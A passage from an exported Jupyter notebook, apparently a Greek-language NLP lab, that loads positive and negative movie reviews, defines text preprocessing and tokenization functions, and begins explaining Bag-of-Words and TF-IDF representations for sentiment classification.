os.path.join(train_dir, 'pos')\nneg_train_dir = os.path.join(train_dir, 'neg')\npos_test_dir = os.path.join(test_dir, 'pos')\nneg_test_dir = os.path.join(test_dir, 'neg')\n\n# For memory limitations. These parameters fit in 8GB of RAM.\n# If you have 16G of RAM you can experiment with the full dataset / W2V\nMAX_NUM_SAMPLES = 5000\n# Load first 1M word embeddings. This works because GoogleNews are roughly\n# sorted from most frequent to least frequent.\n# It may yield much worse results for other embeddings corpora\nNUM_W2V_TO_LOAD = 1000000\n# Fix numpy random seed for reproducibility\nSEED = 42\nnp.random.seed(42)\n\n\n# - \u0397 \u03c3\u03c5\u03bd\u03ac\u03c1\u03c4\u03b7\u03c3\u03b7 __strip_punctuation__ \u03b4\u03ad\u03c7\u03b5\u03c4\u03b1\u03b9 \u03c9\u03c2 \u03b5\u03af\u03c3\u03bf\u03b4\u03bf \u03ad\u03bd\u03b1 string \u03ba\u03b1\u03b9 \u03b1\u03bd\u03c4\u03b9\u03ba\u03b1\u03b8\u03b9\u03c3\u03c4\u03ac \u03ba\u03ac\u03b8\u03b5 \u03c3\u03cd\u03bc\u03b2\u03bf\u03bb\u03cc \u03c4\u03bf\u03c5 \u03c0\u03bf\u03c5 \u03b4\u03b5\u03bd \u03b5\u03af\u03bd\u03b1\u03b9 \u03b3\u03c1\u03ac\u03bc\u03bc\u03b1 \u03bc\u03b5 \u03c4\u03bf \u03ba\u03b5\u03bd\u03cc. \u0388\u03c4\u03c3\u03b9 \u03b5\u03c0\u03b9\u03c3\u03c4\u03c1\u03ad\u03c6\u03b5\u03b9 \u03ad\u03bd\u03b1 string \u03c0\u03bf\u03c5 \u03b1\u03c0\u03bf\u03c4\u03b5\u03bb\u03b5\u03af\u03c4\u03b1\u03b9 \u03bc\u03cc\u03bd\u03bf \u03b1\u03c0\u03cc \u03ba\u03b5\u03c6\u03b1\u03bb\u03b1\u03af\u03b1 \u03ba\u03b1\u03b9 \u03bc\u03b9\u03ba\u03c1\u03ac \u03b3\u03c1\u03ac\u03bc\u03bc\u03b1\u03c4\u03b1 \u03ba\u03b1\u03b9 \u03ba\u03b5\u03bd\u03ac.\n\n# In[44]:\n\n\ndef strip_punctuation(s):\n    return re.sub(r'[^a-zA-Z\\s]', ' ', s)\n\n\n# - \u0397 \u03c3\u03c5\u03bd\u03ac\u03c1\u03c4\u03b7\u03c3\u03b7 __preprocess__ \u03b4\u03ad\u03c7\u03b5\u03c4\u03b1\u03b9 \u03ad\u03bd\u03b1 string \u03ba\u03b1\u03b9 \u03b1\u03c0\u03b1\u03bb\u03b5\u03af\u03c6\u03b5\u03b9 \u03c4\u03b1 \u03c3\u03b7\u03bc\u03b5\u03af\u03b1 \u03c3\u03c4\u03af\u03be\u03b7\u03c2 \u03c7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03ce\u03bd\u03c4\u03b1\u03c2 \u03c4\u03b7\u03bd strip_punctuation, \u03bc\u03b5\u03c4\u03b1\u03c4\u03c1\u03ad\u03c0\u03b5\u03b9 \u03cc\u03bb\u03b1 \u03c4\u03b1 \u03b3\u03c1\u03ac\u03bc\u03bc\u03b1\u03c4\u03b1 \u03c3\u03b5 \u03bc\u03b9\u03ba\u03c1\u03ac \u03ba\u03b1\u03b9, \u03c4\u03ad\u03bb\u03bf\u03c2, \u03b1\u03bd\u03c4\u03b9\u03ba\u03b1\u03b8\u03b9\u03c3\u03c4\u03ac \u03c4\u03b1 \u03c3\u03c5\u03bd\u03b5\u03c7\u03cc\u03bc\u03b5\u03bd\u03b1 \u03ba\u03b5\u03bd\u03ac \u03b1\u03c0\u03cc \u03ad\u03bd\u03b1 \u03bc\u03cc\u03bd\u03bf \u03ba\u03b5\u03bd\u03cc.\n\n# In[45]:\n\n\ndef preprocess(s):\n    return re.sub('\\s+',' ', strip_punctuation(s).lower())\n\n\n# - \u0397 \u03c3\u03c5\u03bd\u03ac\u03c1\u03c4\u03b7\u03c3\u03b7 __tokenize__ \u03b4\u03ad\u03c7\u03b5\u03c4\u03b1\u03b9 \u03ad\u03bd\u03b1 string \u03ba\u03b1\u03b9 \u03c4\u03bf \u03b4\u03b9\u03b1\u03c3\u03c0\u03ac\u03c3\u03b5\u03b9 \u03c3\u03c4\u03b1 \u03ba\u03b5\u03bd\u03ac \u03c4\u03bf\u03c5, \u03b5\u03c0\u03b9\u03c3\u03c4\u03c1\u03ad\u03c6\u03bf\u03bd\u03c4\u03b1\u03c2 \u03bc\u03af\u03b1 \u03bb\u03af\u03c3\u03c4\u03b1 \u03bc\u03b5 \u03ba\u03ac\u03b8\u03b5 \u03bb\u03ad\u03be\u03b7 \u03c4\u03bf\u03c5 string.\n\n# In[46]:\n\n\ndef tokenize(s):\n    return s.split(' ')\n\n\n# - \u0397 \u03c3\u03c5\u03bd\u03ac\u03c1\u03c4\u03b7\u03c3\u03b7 __preproc_tok__ \u03b4\u03ad\u03c7\u03b5\u03c4\u03b1\u03b9 \u03ad\u03bd\u03b1 string \u03ba\u03b1\u03b9 \u03b5\u03c0\u03b9\u03c3\u03c4\u03c1\u03ad\u03c6\u03b5\u03b9 \u03bc\u03af\u03b1 \u03bb\u03af\u03c3\u03c4\u03b1 \u03bc\u03b5 \u03c4\u03b1 tokens, \u03c4\u03b9\u03c2 \u03bb\u03ad\u03be\u03b5\u03b9\u03c2 \u03b4\u03b7\u03bb\u03b1\u03b4\u03ae \u03bc\u03cc\u03bd\u03bf \u03bc\u03b5 \u03bc\u03b9\u03ba\u03c1\u03ac \u03b3\u03c1\u03ac\u03bc\u03bc\u03b1\u03c4\u03b1 \u03ba\u03b1\u03b9 \u03c7\u03c9\u03c1\u03af\u03c2 \u03c3\u03b7\u03bc\u03b5\u03af\u03b1 \u03c3\u03c4\u03af\u03be\u03b7\u03c2.\n\n# In[47]:\n\n\ndef preproc_tok(s):\n    return tokenize(preprocess(s))\n\n\n# - \u0397 \u03c3\u03c5\u03bd\u03ac\u03c1\u03c4\u03b7\u03c3\u03b7 __read_samples__ \u03b4\u03ad\u03c7\u03b5\u03c4\u03b1\u03b9 \u03c9\u03c2 \u03bf\u03c1\u03af\u03c3\u03bc\u03b1\u03c4\u03b1 \u03c4\u03bf path \u03b5\u03bd\u03cc\u03c2 \u03c6\u03b1\u03ba\u03ad\u03bb\u03bf\u03c5 \u03c0\u03bf\u03c5 \u03c0\u03b5\u03c1\u03b9\u03ad\u03c7\u03b5\u03b9 \u03c4\u03b1 samples \u03ba\u03b1\u03b9 \u03bc\u03af\u03b1 \u03c3\u03c5\u03bd\u03ac\u03c1\u03c4\u03b7\u03c3\u03b7 preprocess (\u03bc\u03b5 default \u03bc\u03af\u03b1 \u03c3\u03c5\u03bd\u03ac\u03c1\u03c4\u03b7\u03c3\u03b7 \u03c0\u03bf\u03c5 \u03b5\u03c0\u03b9\u03c3\u03c4\u03c1\u03ad\u03c6\u03b5\u03b9 \u03b1\u03ba\u03c1\u03b9\u03b2\u03ce\u03c2 \u03cc\u03c0\u03c9\u03c2 \u03b5\u03af\u03bd\u03b1\u03b9 \u03c4\u03bf \u03cc\u03c1\u03b9\u03c3\u03bc\u03ac \u03c4\u03b7\u03c2). \u0391\u03bd\u03bf\u03af\u03b3\u03b5\u03b9 \u03ba\u03ac\u03b8\u03b5 \u03ad\u03bd\u03b1 \u03b1\u03c0\u03cc \u03c4\u03b1 samples \u03c0\u03bf\u03c5 \u03b5\u03af\u03bd\u03b1\u03b9 \u03c3\u03b5 \u03bc\u03bf\u03c1\u03c6\u03ae \u03b1\u03c1\u03c7\u03b5\u03af\u03c9\u03bd .txt \u03ba\u03b1\u03b9 \u03ba\u03b1\u03bb\u03b5\u03af \u03c4\u03b7\u03bd \u03c3\u03c5\u03bd\u03ac\u03c1\u03c4\u03b7\u03c3\u03b7 preprocess. \u03a4\u03bf \u03b1\u03c0\u03bf\u03c4\u03ad\u03bb\u03b5\u03c3\u03bc\u03b1 __data__ \u03b5\u03af\u03bd\u03b1\u03b9 \u03bc\u03af\u03b1 \u03bb\u03af\u03c3\u03c4\u03b1, \u03cc\u03c0\u03bf\u03c5 \u03ba\u03ac\u03b8\u03b5 \u03c3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af\u03bf \u03c4\u03b7\u03c2 \u03b1\u03bd\u03c4\u03b9\u03c3\u03c4\u03bf\u03b9\u03c7\u03b5\u03af \u03c3\u03c4\u03bf \u03b1\u03c0\u03bf\u03c4\u03ad\u03bb\u03b5\u03c3\u03bc\u03b1 \u03c4\u03b7\u03c2 preprocess \u03c0\u03ac\u03bd\u03c9 \u03c3\u03c4\u03b7\u03bd \u03ba\u03ac\u03b8\u03b5 \u03ba\u03c1\u03b9\u03c4\u03b9\u03ba\u03ae.\n\n# In[48]:\n\n\ndef read_samples(folder, preprocess=lambda x: x):\n    # Get all the .txt files that the folder contains\n    samples = glob.iglob(os.path.join(folder, '*.txt'))\n    data = []\n    for i, sample in enumerate(samples):\n        if MAX_NUM_SAMPLES > 0 and i == MAX_NUM_SAMPLES:\n            break\n        # Open the .txt file, preprocess each line and add the result to a list\n        with open(sample, 'r') as fd:\n            x = [preprocess(l) for l in fd][0]\n            data.append(x)\n    return data\n\n\n# - \u0397 \u03c3\u03c5\u03bd\u03ac\u03c1\u03c4\u03b7\u03c3\u03b7 __create_corpus__ \u03b4\u03ad\u03c7\u03b5\u03c4\u03b1\u03b9 \u03b4\u03cd\u03bf \u03bb\u03af\u03c3\u03c4\u03b5\u03c2 \u03c0\u03bf\u03c5 \u03c0\u03b5\u03c1\u03b9\u03ad\u03c7\u03bf\u03c5\u03bd \u03ba\u03c1\u03b9\u03c4\u03b9\u03ba\u03ad\u03c2 \u03b3\u03b9\u03b1 \u03c4\u03b1\u03b9\u03bd\u03af\u03b5\u03c2 \u03bc\u03b5 \u03c4\u03b7\u03bd \u03c0\u03c1\u03ce\u03c4\u03b7 \u03bd\u03b1 \u03ad\u03c7\u03b5\u03b9 \u03c4\u03b9\u03c2 \u03b8\u03b5\u03c4\u03b9\u03ba\u03ad\u03c2 \u03ba\u03c1\u03b9\u03c4\u03b9\u03ba\u03ad\u03c2 \u03ba\u03b1\u03b9 \u03c4\u03b7\u03bd \u03b4\u03b5\u03cd\u03c4\u03b5\u03c1\u03b7 \u03c4\u03b9\u03c2 \u03b1\u03c1\u03bd\u03b7\u03c4\u03b9\u03ba\u03ad\u03c2. \u0395\u03c0\u03b9\u03c3\u03c4\u03c1\u03ad\u03c6\u03b5\u03b9 \u03bc\u03af\u03b1 \u03bb\u03af\u03c3\u03c4\u03b1 \u03c0\u03bf\u03c5 \u03c0\u03b5\u03c1\u03b9\u03ad\u03c7\u03b5\u03b9 \u03c4\u03b9\u03c2 \u03b4\u03c9\u03c3\u03bc\u03ad\u03bd\u03b5\u03c2 \u03ba\u03c1\u03b9\u03c4\u03b9\u03ba\u03ad\u03c2 \u03c3\u03b5 \u03c4\u03c5\u03c7\u03b1\u03af\u03b1 \u03c3\u03b5\u03b9\u03c1\u03ac \u03ba\u03b1\u03b9 \u03bc\u03af\u03b1 \u03bb\u03af\u03c3\u03c4\u03b1 \u03c0\u03bf\u03c5 \u03c0\u03b5\u03c1\u03b9\u03ad\u03c7\u03b5\u03b9 \u03c4\u03bf label \u03c4\u03b7\u03c2 \u03ba\u03ac\u03b8\u03b5 \u03ba\u03c1\u03b9\u03c4\u03b9\u03ba\u03ae\u03c2. \u039f\u03c5\u03c3\u03b9\u03b1\u03c3\u03c4\u03b9\u03ba\u03ac \u03b1\u03c5\u03c4\u03ae \u03b7 \u03c3\u03c5\u03bd\u03ac\u03c1\u03c4\u03b7\u03c3\u03b7 \u03b4\u03b7\u03bc\u03b9\u03bf\u03c5\u03c1\u03b3\u03b5\u03af \u03c4\u03bf training \u03ba\u03b1\u03b9 \u03c4\u03bf test set \u03bc\u03b1\u03c2 \u03c3\u03b5 raw \u03bc\u03bf\u03c1\u03c6\u03ae \u03b1\u03c6\u03bf\u03cd \u03b7 \u03ba\u03ac\u03b8\u03b5 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ae \u03b5\u03af\u03bd\u03b1\u03b9 \u03bc\u03af\u03b1 \u03ba\u03c1\u03b9\u03c4\u03b9\u03ba\u03ae \u03c3\u03b5 \u03bc\u03bf\u03c1\u03c6\u03ae \u03b5\u03bd\u03cc\u03c2 string.\n\n# In[49]:\n\n\ndef create_corpus(pos, neg):\n    corpus = np.array(pos + neg)\n    y = np.array([1 for _ in pos] + [0 for _ in neg])\n    indices = np.arange(y.shape[0])\n    np.random.shuffle(indices)\n    return list(corpus), list(y)\n\n\n# \u0391\u03c6\u03bf\u03cd \u03bf\u03c1\u03af\u03c3\u03b1\u03bc\u03b5, \u03bb\u03bf\u03b9\u03c0\u03cc\u03bd, \u03cc\u03bb\u03b5\u03c2 \u03bc\u03b1\u03c2 \u03c4\u03b9\u03c2 \u03c3\u03c5\u03bd\u03b1\u03c1\u03c4\u03ae\u03c3\u03b5\u03b9\u03c2 \u03c4\u03ce\u03c1\u03b1 \u03c0\u03c1\u03ad\u03c0\u03b5\u03b9 \u03bd\u03b1 \u03b4\u03b9\u03b1\u03b2\u03ac\u03c3\u03bf\u03c5\u03bc\u03b5 \u03c4\u03b9\u03c2 \u03ba\u03c1\u03b9\u03c4\u03b9\u03ba\u03ad\u03c2 \u03ba\u03b1\u03b9 \u03c4\u03b7\u03bd \u03b1\u03bd\u03c4\u03af\u03c3\u03c4\u03bf\u03b9\u03c7\u03b7 \u03ba\u03b1\u03c4\u03b7\u03b3\u03bf\u03c1\u03af\u03b1 \u03c4\u03bf\u03c5\u03c2. \u0391\u03c5\u03c4\u03cc \u03c0\u03bf\u03c5 \u03b8\u03b1 \u03ba\u03ac\u03bd\u03bf\u03c5\u03bc\u03b5 \u03b5\u03af\u03bd\u03b1\u03b9 \u03bd\u03b1 \u03b4\u03b7\u03bc\u03b9\u03bf\u03c5\u03c1\u03b3\u03ae\u03c3\u03bf\u03c5\u03bc\u03b5 \u03c4\u03b9\u03c2 \u03b5\u03be\u03ae\u03c2 \u03c4\u03ad\u03c3\u03c3\u03b5\u03c1\u03b9\u03c2 \u03bb\u03af\u03c3\u03c4\u03b5\u03c2:\n#  - __X_train_raw__ \u03b7 \u03bf\u03c0\u03bf\u03af\u03b1 \u03c0\u03b5\u03c1\u03b9\u03ad\u03c7\u03b5\u03b9 \u03cc\u03bb\u03b5\u03c2 \u03c4\u03b9\u03c2 \u03ba\u03c1\u03b9\u03c4\u03b9\u03ba\u03ad\u03c2 \u03c0\u03bf\u03c5 \u03b8\u03b1 \u03c7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03b7\u03b8\u03bf\u03cd\u03bd \u03b3\u03b9\u03b1 \u03c4\u03bf train \u03c4\u03bf\u03c5 \u03bc\u03bf\u03bd\u03c4\u03ad\u03bb\u03bf\u03c5 \u03bc\u03b1\u03c2 \u03c3\u03b5 text \u03bc\u03bf\u03c1\u03c6\u03ae.\n#  - __Y_train__ \u03b7 \u03bf\u03c0\u03bf\u03af\u03b1 \u03c0\u03b5\u03c1\u03b9\u03ad\u03c7\u03b5\u03b9 \u03c4\u03b1 labels \u03c4\u03c9\u03bd \u03c0\u03b1\u03c1\u03b1\u03c0\u03ac\u03bd\u03c9 \u03ba\u03c1\u03b9\u03c4\u03b9\u03ba\u03ce\u03bd.\n#  - __X_test_raw__ \u03b7 \u03bf\u03c0\u03bf\u03af\u03b1 \u03c0\u03b5\u03c1\u03b9\u03ad\u03c7\u03b5\u03b9 \u03cc\u03bb\u03b5\u03c2 \u03c4\u03b9\u03c2 \u03ba\u03c1\u03b9\u03c4\u03b9\u03ba\u03ad\u03c2 \u03c0\u03bf\u03c5 \u03b8\u03b1 \u03c7\u03c1\u03b7\u03c3\u03b9\u03bc\u03bf\u03c0\u03bf\u03b9\u03b7\u03b8\u03bf\u03cd\u03bd \u03b3\u03b9\u03b1 \u03c4\u03bf test \u03c4\u03bf\u03c5 \u03bc\u03bf\u03bd\u03c4\u03ad\u03bb\u03bf\u03c5 \u03bc\u03b1\u03c2 \u03c3\u03b5 text \u03bc\u03bf\u03c1\u03c6\u03ae.\n#  - __Y_test__ \u03b7 \u03bf\u03c0\u03bf\u03af\u03b1 \u03c0\u03b5\u03c1\u03b9\u03ad\u03c7\u03b5\u03b9 \u03c4\u03b1 labels \u03c4\u03c9\u03bd \u03c0\u03b1\u03c1\u03b1\u03c0\u03ac\u03bd\u03c9 \u03ba\u03c1\u03b9\u03c4\u03b9\u03ba\u03ce\u03bd.\n\n# In[50]:\n\n\nX_train_raw, Y_train = create_corpus(read_samples(pos_train_dir), read_samples(neg_train_dir))\nX_test_raw, Y_test = create_corpus(read_samples(pos_test_dir), read_samples(neg_test_dir))\n\n\n# \u039c\u03c0\u03bf\u03c1\u03bf\u03cd\u03bc\u03b5 \u03bd\u03b1 \u03b5\u03bb\u03ad\u03b3\u03be\u03bf\u03c5\u03bc\u03b5 \u03c4\u03b7\u03bd 1\u03b7 \u03ba\u03c1\u03b9\u03c4\u03b9\u03ba\u03ae \u03c4\u03bf\u03c5 training set \u03ba\u03b1\u03b9 \u03c4\u03bf \u03b1\u03bd\u03c4\u03b9\u03c3\u03c4\u03bf\u03b9\u03c7\u03bf label \u03c4\u03b7\u03c2 \u03b3\u03b9\u03b1 \u03bd\u03b1 \u03b4\u03bf\u03cd\u03bc\u03b5 \u03cc\u03c4\u03b9 \u03cc\u03bb\u03b1 \u03c0\u03ae\u03b3\u03b1\u03bd \u03ba\u03b1\u03bb\u03ac.\n\n# In[51]:\n\n\nprint(X_train_raw[0])\nprint(\"Postive\" if Y_train[0] else \"Negative\")\n\n\n# ### \u0392\u03ae\u03bc\u03b1 17: \u039a\u03b1\u03c4\u03b1\u03c3\u03ba\u03b5\u03c5\u03ae BOW \u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03b1\u03c3\u03c4\u03ac\u03c3\u03b5\u03c9\u03bd \u03ba\u03b1\u03b9 \u03c4\u03b1\u03be\u03b9\u03bd\u03cc\u03bc\u03b7\u03c3\u03b7\n\n# \u0397 \u03c0\u03b9\u03bf \u03b2\u03b1\u03c3\u03b9\u03ba\u03ae \u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03ac\u03c3\u03c4\u03b1\u03c3\u03b7 \u03b3\u03b9\u03b1 \u03bc\u03b9\u03b1 \u03c0\u03c1\u03cc\u03c4\u03b1\u03c3\u03b7 \u03b5\u03af\u03bd\u03b1\u03b9 \u03b7 \u03c7\u03c1\u03ae\u03c3\u03b7 __Bag of Words__. \u03a3\u03b5 \u03b1\u03c5\u03c4\u03ae \u03c4\u03b7\u03bd \u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03ac\u03c3\u03c4\u03b1\u03c3\u03b7 \u03bc\u03b9\u03b1 \u03bb\u03ad\u03be\u03b7 \u03ba\u03c9\u03b4\u03b9\u03ba\u03bf\u03c0\u03bf\u03b9\u03b5\u03af\u03c4\u03b1\u03b9 \u03c3\u03b1\u03bd \u03ad\u03bd\u03b1 one hot encoding \u03c0\u03ac\u03bd\u03c9 \u03c3\u03c4\u03bf \u03bb\u03b5\u03be\u03b9\u03bb\u03cc\u03b3\u03b9\u03bf \u03ba\u03b1\u03b9 \u03bc\u03b9\u03b1 \u03c0\u03c1\u03cc\u03c4\u03b1\u03c3\u03b7 \u03c3\u03b1\u03bd \u03c4\u03bf \u03ac\u03b8\u03c1\u03bf\u03b9\u03c3\u03bc\u03b1 \u03b1\u03c5\u03c4\u03ce\u03bd \u03c4\u03c9\u03bd encodings. \u0393\u03b9\u03b1 \u03c0\u03b1\u03c1\u03ac\u03b4\u03b5\u03b9\u03b3\u03bc\u03b1 \u03c3\u03c4\u03bf \u03bb\u03b5\u03be\u03b9\u03bb\u03cc\u03b3\u03b9\u03bf [cat, dog, eat] \u03b7 \u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03ac\u03c3\u03c4\u03b1\u03c3\u03b7 \u03c4\u03b7\u03c2 \u03bb\u03ad\u03be\u03b7\u03c2 cat \u03b5\u03af\u03bd\u03b1\u03b9 [1, 0,0], \u03c4\u03b7\u03c2 \u03bb\u03ad\u03be\u03b7\u03c2 dog [0, 1, 0] \u03ba\u03bf\u03ba. \u0397 \u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03ac\u03c3\u03c4\u03b1\u03c3\u03b7 \u03c4\u03b7\u03c2 \u03c0\u03c1\u03cc\u03c4\u03b1\u03c3\u03b7\u03c2 dog eat dog \u03b5\u03af\u03bd\u03b1\u03b9 [0, 2, 1]. \u0395\u03c0\u03b9\u03c0\u03bb\u03ad\u03bf\u03bd \u03bc\u03c0\u03bf\u03c1\u03bf\u03cd\u03bc\u03b5 \u03bd\u03b1 \u03c0\u03ac\u03c1\u03bf\u03c5\u03bc\u03b5 \u03c3\u03c4\u03b1\u03b8\u03bc\u03b9\u03c3\u03bc\u03ad\u03bd\u03bf \u03ac\u03b8\u03c1\u03bf\u03b9\u03c3\u03bc\u03b1 \u03c4\u03c9\u03bd one hot word encodings \u03b3\u03b9\u03b1 \u03c4\u03b7\u03bd \u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03ac\u03c3\u03c4\u03b1\u03c3\u03b7 \u03bc\u03b9\u03b1\u03c2 \u03c0\u03c1\u03cc\u03c4\u03b1\u03c3\u03b7\u03c2 \u03bc\u03b5 \u03b2\u03ac\u03c1\u03b7 TF-IDF (https://en.wikipedia.org/wiki/Tf\u2013idf).\n\n# __\u03b1)__  \u03a3\u03c4\u03b7\u03bd __Bag of Words__ \u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03ac\u03c3\u03c4\u03b1\u03c3\u03b7 \u03c5\u03c0\u03bf\u03bb\u03bf\u03b3\u03af\u03b6\u03bf\u03c5\u03bc\u03b5 \u03b1\u03c0\u03bb\u03ac \u03c0\u03cc\u03c3\u03b5\u03c2 \u03c6\u03bf\u03c1\u03ad\u03c2 \u03c5\u03c0\u03ac\u03c1\u03c7\u03b5\u03b9 \u03b7 \u03ba\u03ac\u03b8\u03b5 \u03bb\u03ad\u03be\u03b7 \u03c3\u03c4\u03b7\u03bd \u03ba\u03ac\u03b8\u03b5 \u03ba\u03c1\u03b9\u03c4\u03b9\u03ba\u03ae. \u0388\u03c4\u03c3\u03b9, \u03c0\u03c1\u03bf\u03ba\u03cd\u03c0\u03c4\u03b5\u03b9 \u03b3\u03b9\u03b1 \u03ba\u03ac\u03b8\u03b5 \u03ba\u03c1\u03b9\u03c4\u03b9\u03ba\u03ae \u03ad\u03bd\u03b1\u03c2 \u03bc\u03b5\u03b3\u03ac\u03bb\u03bf\u03c2 \u03ba\u03b1\u03b9 \u03b1\u03c1\u03b1\u03b9\u03cc\u03c2 \u03c0\u03af\u03bd\u03b1\u03ba\u03b1\u03c2 (\u03bc\u03b5 \u03bc\u03ae\u03ba\u03bf\u03c2 \u03af\u03c3\u03bf \u03bc\u03b5 \u03c4\u03bf \u03bc\u03ad\u03b3\u03b5\u03b8\u03bf\u03c2 \u03c4\u03bf\u03c5 \u03bb\u03b5\u03be\u03b9\u03ba\u03bf\u03c5) \u03c0\u03bf\u03c5 \u03c3\u03b5 \u03ba\u03ac\u03b8\u03b5 \u03b8\u03ad\u03c3\u03b7 \u03c4\u03bf\u03c5 \u03ad\u03c7\u03b5\u03b9 \u03c4\u03b9\u03c2 \u03c6\u03bf\u03c1\u03ad\u03c2 \u03c0\u03bf\u03c5 \u03c0\u03b1\u03c1\u03bf\u03c5\u03c3\u03b9\u03ac\u03b6\u03b5\u03c4\u03b1\u03b9 \u03b7 \u03ba\u03ac\u03b8\u03b5 \u03bb\u03ad\u03be\u03b7 \u03c3\u03c4\u03b7\u03bd \u03ba\u03c1\u03b9\u03c4\u03b9\u03ba\u03ae. \u0391\u03c5\u03c4\u03ae \u03b7 \u03b1\u03bd\u03b1\u03c0\u03b1\u03c1\u03ac\u03c3\u03c4\u03b1\u03c3\u03b7 \u03ad\u03c7\u03b5\u03b9 \u03b4\u03cd\u03bf \u03c3\u03b7\u03bc\u03b1\u03bd\u03c4\u03b9\u03ba\u03ac \u03bc\u03b5\u03b9\u03bf\u03bd\u03b5\u03ba\u03c4\u03ae\u03bc\u03b1\u03c4\u03b1 \u03c4\u03b1 \u03bf\u03c0\u03bf\u03af\u03b1 \u03b1\u03bd\u03c4\u03b9\u03bc\u03b5\u03c4\u03c9\u03c0\u03af\u03b6\u03bf\u03bd\u03c4\u03b1\u03b9 \u03bc\u03b5 \u03c4\u03b7\u03bd \u03c0\u03c1\u03bf\u03c3\u03b8\u03ae\u03ba\u03b7 \u03b2\u03b1\u03c1\u03ce\u03bd __TF_IDF__. \u03a3\u03c5\u03b3\u03ba\u03b5\u03ba\u03c1\u03b9\u03bc\u03ad\u03bd\u03b1 \u03ad\u03c7\u03bf\u03c5\u03bc\u03b5 \u03cc\u03c4\u03b9:\n# - \u03a0\u03c1\u03ad\u03c0\u03b5\u03b9 \u03bd\u03b1 \u03bb\u03b1\u03bc\u03b2\u03ac\u03bd\u03bf\u03c5\u03bc\u03b5 \u03c5\u03c0\u03cc\u03c8\u03b9\u03bd \u03ba\u03b1\u03b9 \u03c4\u03bf \u03bc\u03ad\u03b3\u03b5\u03b8\u03bf\u03c2 \u03c4\u03b7\u03c2 \u03ba\u03ac\u03b8\u03b5 \u03ba\u03c1\u03b9\u03c4\u03b9\u03ba\u03ae\u03c2 \u03b3\u03b9\u03b1\u03c4\u03af \u03ac\u03bb\u03bb\u03b7 \u03b2\u03b1\u03c1\u03cd\u03c4\u03b7\u03c4\u03b1 \u03ad\u03c7\u03b5\u03b9 \u03b7 \u03cd\u03c0\u03b1\u03c1\u03be\u03b7 \u03bc\u03b9\u03b1\u03c2 \u03bb\u03ad\u03be\u03b7\u03c2 \u03c3\u03b5 \u03bc\u03af\u03b1 \u03ba\u03c1\u03b9\u03c4\u03b9\u03ba\u03ae \u03bc\u03b5 \u03bc\u03b9\u03ba\u03c1\u03cc \u03bc\u03ad\u03b3\u03b5\u03b8\u03bf\u03c2 \u03ba\u03b1\u03b9 \u03ac\u03bb\u03bb\u03b7 \u03c3\u03b5 \u03bc\u03af\u03b1 \u03bc\u03b5 \u03bc\u03b5\u03b3\u03ac\u03bb\u03bf. \u0393\u03b9' \u03b1\u03c5\u03c4\u03cc \u03ba\u03b1\u03b9 \u03c3\u03c4\u03bf\u03bd \u03c0\u03c1\u03ce\u03c4\u03bf \u03cc\u03c1\u03bf \u03c4\u03b7\u03c2 TF_IDF \u03c0\u03bf\u03c5 \u03b5\u03af\u03bd\u03b1\u03b9 \u03c4\u03bf __term frequency__ \u03b1\u03c6\u03bf\u03cd \u03c5\u03c0\u03bf\u03bb\u03bf\u03b3\u03af\u03c3\u03bf\u03c5\u03bc\u03b5 \u03c0\u03cc\u03c3\u03b5\u03c2 \u03c6\u03bf\u03c1\u03ad\u03c2 \u03c5\u03c0\u03ac\u03c1\u03c7\u03b5\u03b9 \u03bc\u03af\u03b1 \u03bb\u03ad\u03be\u03b7 \u03c3\u03c4\u03b7\u03bd \u03ba\u03c1\u03b9\u03c4\u03b9\u03ba\u03ae, \u03bc\u03b5\u03c4\u03ac \u03b4\u03b9\u03b1\u03b9\u03c1\u03bf\u03cd\u03bc\u03b5 \u03bc\u03b5 \u03c4\u03bf\u03bd \u03c3\u03c5\u03bd\u03bf\u03bb\u03b9\u03ba\u03cc \u03bc\u03ad\u03b3\u03b5\u03b8\u03bf\u03c2 \u03c4\u03b7\u03c2 \u03ba\u03c1\u03b9\u03c4\u03b9\u03ba\u03ae\u03c2.\n# - \u039b\u03ad\u03be\u03b5\u03b9\u03c2 \u03bf\u03b9 \u03bf\u03c0\u03bf\u03af\u03b5\u03c2 \u03b5\u03af\u03bd\u03b1\u03b9 \u03c3\u03c5\u03bd\u03b7\u03b8\u03b9\u03c3\u03bc\u03ad\u03bd\u03b5\u03c2 \u03bb\u03b1\u03bc\u03b2\u03ac\u03bd\u03bf\u03c5\u03bd \u03bc\u03b5\u03b3\u03ac\u03bb\u03bf score \u03c3\u03b5 \u03ba\u03ac\u03b8\u03b5 \u03ba\u03c1\u03b9\u03c4\u03b9\u03ba\u03ae \u03c7\u03c9\u03c1\u03af\u03c2 \u03bd\u03b1 \u03c0\u03c1\u03ad\u03c0\u03b5\u03b9. \u03a4\u03bf \u03bd\u03cc\u03b7\u03bc\u03b1 \u03b5\u03af\u03bd\u03b1\u03b9 \u03cc\u03c4\u03b9 \u03bf\u03b9 \u03c3\u03c0\u03ac\u03bd\u03b9\u03b5\u03c2 \u03bb\u03ad\u03be\u03b5\u03b9\u03c2 \u03bc\u03b1\u03c2 \u03b4\u03af\u03bd\u03bf\u03c5\u03bd \u03c0\u03b5\u03c1\u03b9\u03c3\u03c3\u03cc\u03c4\u03b5\u03c1\u03b7 \u03c0\u03bb\u03b7\u03c1\u03bf\u03c6\u03bf\u03c1\u03af\u03b1 \u03b1\u03c0\u03cc \u03c4\u03b9\u03c2 \u03c3\u03c5\u03bd\u03b7\u03b8\u03b9\u03c3\u03bc\u03ad\u03bd\u03b5\u03c2. \u0388\u03c4\u03c3\u03b9, \u03bf \u03b4\u03b5\u03cd\u03c4\u03b5\u03c1\u03bf\u03c2 \u03cc\u03c1\u03bf\u03c2 \u03c0\u03bf\u03c5 \u03b5\u03af\u03bd\u03b1\u03b9 \u03c4\u03bf __inverse document frequency__ \u03b5\u03af\u03bd\u03b1\u03b9 \u03bf \u03c3\u03c5\u03bd\u03bf\u03bb\u03b9\u03ba\u03cc\u03c2 \u03b1\u03c1\u03b9\u03b8\u03bc\u03cc\u03c2 